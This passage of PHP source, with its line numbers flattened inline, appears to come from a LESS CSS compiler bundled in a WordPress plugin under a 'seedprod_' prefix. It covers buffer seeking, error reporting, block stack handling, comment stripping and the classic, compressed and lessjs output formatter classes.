( is_null( $from ) ) { 3345 $from = $this->count; 3346 } 3347 $r = '/' . $regex . '/Ais'; 3348 $result = preg_match( $r, $this->buffer, $out, null, $from ); 3349 3350 return $result; 3351 } 3352 3353 // seek to a spot in the buffer or return where we are on no argument 3354 protected function seek( $where = null ) { 3355 if ( $where === null ) { 3356 return $this->count; 3357 } else { 3358 $this->count = $where; 3359 } 3360 return true; 3361 } 3362 3363 /* misc functions */ 3364 3365 public function throwError( $msg = 'parse error', $count = null ) { 3366 $count = is_null( $count ) ? $this->count : $count; 3367 3368 $line = $this->line + 3369 substr_count( substr( $this->buffer, 0, $count ), "\n" ); 3370 3371 if ( ! empty( $this->sourceName ) ) { 3372 $loc = "$this->sourceName on line $line"; 3373 } else { 3374 $loc = "line: $line"; 3375 } 3376 3377 // TODO this depends on $this->count 3378 if ( $this->peek( "(.*?)(\n|$)", $m, $count ) ) { 3379 throw new exception( "$msg: failed at `$m[1]` $loc" ); 3380 } else { 3381 throw new exception( "$msg: $loc" ); 3382 } 3383 } 3384 3385 protected function pushBlock( $selectors = null, $type = null ) { 3386 $b = new stdclass(); 3387 $b->parent = $this->env; 3388 3389 $b->type = $type; 3390 $b->id = self::$nextBlockId++; 3391 3392 $b->isVararg = false; // TODO: kill me from here 3393 $b->tags = $selectors; 3394 3395 $b->props = array(); 3396 $b->children = array(); 3397 3398 $this->env = $b; 3399 return $b; 3400 } 3401 3402 // push a block that doesn't multiply tags 3403 protected function pushSpecialBlock( $type ) { 3404 return $this->pushBlock( null, $type ); 3405 } 3406 3407 // append a property to the current block 3408 protected function append( $prop, $pos = null ) { 3409 if ( $pos !== null ) { 3410 $prop[-1] = $pos; 3411 } 3412 $this->env->props[] = $prop; 3413 } 3414 3415 // pop something off the stack 3416 protected function pop() { 3417 $old = $this->env; 3418 $this->env = $this->env->parent; 3419 return $old; 3420 } 3421 3422 // remove comments from $text 3423 // todo: make it work for all functions, not just url 3424 protected function removeComments( $text ) { 3425 $look = array( 3426 'url(', 3427 '//', 3428 '/*', 3429 '"', 3430 "'", 3431 ); 3432 3433 $out = ''; 3434 $min = null; 3435 while ( true ) { 3436 // find the next item 3437 foreach ( $look as $token ) { 3438 $pos = strpos( $text, $token ); 3439 if ( $pos !== false ) { 3440 if ( ! isset( $min ) || $pos < $min[1] ) { 3441 $min = array( $token, $pos ); 3442 } 3443 } 3444 } 3445 3446 if ( is_null( $min ) ) { 3447 break; 3448 } 3449 3450 $count = $min[1]; 3451 $skip = 0; 3452 $newlines = 0; 3453 switch ( $min[0] ) { 3454 case 'url(': 3455 if ( preg_match( '/url\(.*?\)/', $text, $m, 0, $count ) ) { 3456 $count += strlen( $m[0] ) - strlen( $min[0] ); 3457 } 3458 break; 3459 case '"': 3460 case "'": 3461 if ( preg_match( '/' . $min[0] . '.*?' . $min[0] . '/', $text, $m, 0, $count ) ) { 3462 $count += strlen( $m[0] ) - 1; 3463 } 3464 break; 3465 case '//': 3466 $skip = strpos( $text, "\n", $count ); 3467 if ( $skip === false ) { 3468 $skip = strlen( $text ) - $count; 3469 } else { 3470 $skip -= $count; 3471 } 3472 break; 3473 case '/*': 3474 if ( preg_match( '/\/\*.*?\*\//s', $text, $m, 0, $count ) ) { 3475 $skip = strlen( $m[0] ); 3476 $newlines = substr_count( $m[0], "\n" ); 3477 } 3478 break; 3479 } 3480 3481 if ( $skip == 0 ) { 3482 $count += strlen( $min[0] ); 3483 } 3484 3485 $out .= substr( $text, 0, $count ) . str_repeat( "\n", $newlines ); 3486 $text = substr( $text, $count + $skip ); 3487 3488 $min = null; 3489 } 3490 3491 return $out . $text; 3492 } 3493 3494 } 3495 3496 class seedprod_lessc_formatter_classic { 3497 public $indentChar = ' '; 3498 3499 public $break = "\n"; 3500 public $open = ' {'; 3501 public $close = '}'; 3502 public $selectorSeparator = ', '; 3503 public $assignSeparator = ':'; 3504 3505 public $openSingle = ' { '; 3506 public $closeSingle = ' }'; 3507 3508 public $disableSingle = false; 3509 public $breakSelectors = false; 3510 3511 public $compressColors = false; 3512 3513 public function __construct() { 3514 $this->indentLevel = 0; 3515 } 3516 3517 public function indentStr( $n = 0 ) { 3518 return str_repeat( $this->indentChar, max( $this->indentLevel + $n, 0 ) ); 3519 } 3520 3521 public function property( $name, $value ) { 3522 return $name . $this->assignSeparator . $value . ';'; 3523 } 3524 3525 protected function isEmpty( $block ) { 3526 if ( empty( $block->lines ) ) { 3527 foreach ( $block->children as $child ) { 3528 if ( ! $this->isEmpty( $child ) ) { 3529 return false; 3530 } 3531 } 3532 3533 return true; 3534 } 3535 return false; 3536 } 3537 3538 public function block( $block ) { 3539 if ( $this->isEmpty( $block ) ) { 3540 return; 3541 } 3542 3543 $inner = $pre = $this->indentStr(); 3544 3545 $isSingle = ! $this->disableSingle && 3546 is_null( $block->type ) && count( $block->lines ) == 1; 3547 3548 if ( ! empty( $block->selectors ) ) { 3549 $this->indentLevel++; 3550 3551 if ( $this->breakSelectors ) { 3552 $selectorSeparator = $this->selectorSeparator . $this->break . $pre; 3553 } else { 3554 $selectorSeparator = $this->selectorSeparator; 3555 } 3556 3557 echo $pre . 3558 implode( $selectorSeparator, $block->selectors ); 3559 if ( $isSingle ) { 3560 echo $this->openSingle; 3561 $inner = ''; 3562 } else { 3563 echo $this->open . $this->break; 3564 $inner = $this->indentStr(); 3565 } 3566 } 3567 3568 if ( ! empty( $block->lines ) ) { 3569 $glue = $this->break . $inner; 3570 echo $inner . implode( $glue, $block->lines ); 3571 if ( ! $isSingle && ! empty( $block->children ) ) { 3572 echo $this->break; 3573 } 3574 } 3575 3576 foreach ( $block->children as $child ) { 3577 $this->block( $child ); 3578 } 3579 3580 if ( ! empty( $block->selectors ) ) { 3581 if ( ! $isSingle && empty( $block->children ) ) { 3582 echo $this->break; 3583 } 3584 3585 if ( $isSingle ) { 3586 echo $this->closeSingle . $this->break; 3587 } else { 3588 echo $pre . $this->close . $this->break; 3589 } 3590 3591 $this->indentLevel--; 3592 } 3593 } 3594 } 3595 3596 class seedprod_lessc_formatter_compressed extends seedprod_lessc_formatter_classic { 3597 public $disableSingle = true; 3598 public $open = '{'; 3599 public $selectorSeparator = ','; 3600 public $assignSeparator = ':'; 3601 public $break = ''; 3602 public $compressColors = true; 3603 3604 public function indentStr( $n = 0 ) { 3605 return ''; 3606 } 3607 } 3608 3609 class seedprod_lessc_formatter_lessjs extends seedprod_lessc_formatter_classic { 3610 public $disableSingle = true; 3611 public $breakSelectors = true; 3612 public $assignSeparator = ': '; 3613 public $selectorSeparator = ','; 3614 } 3615 3616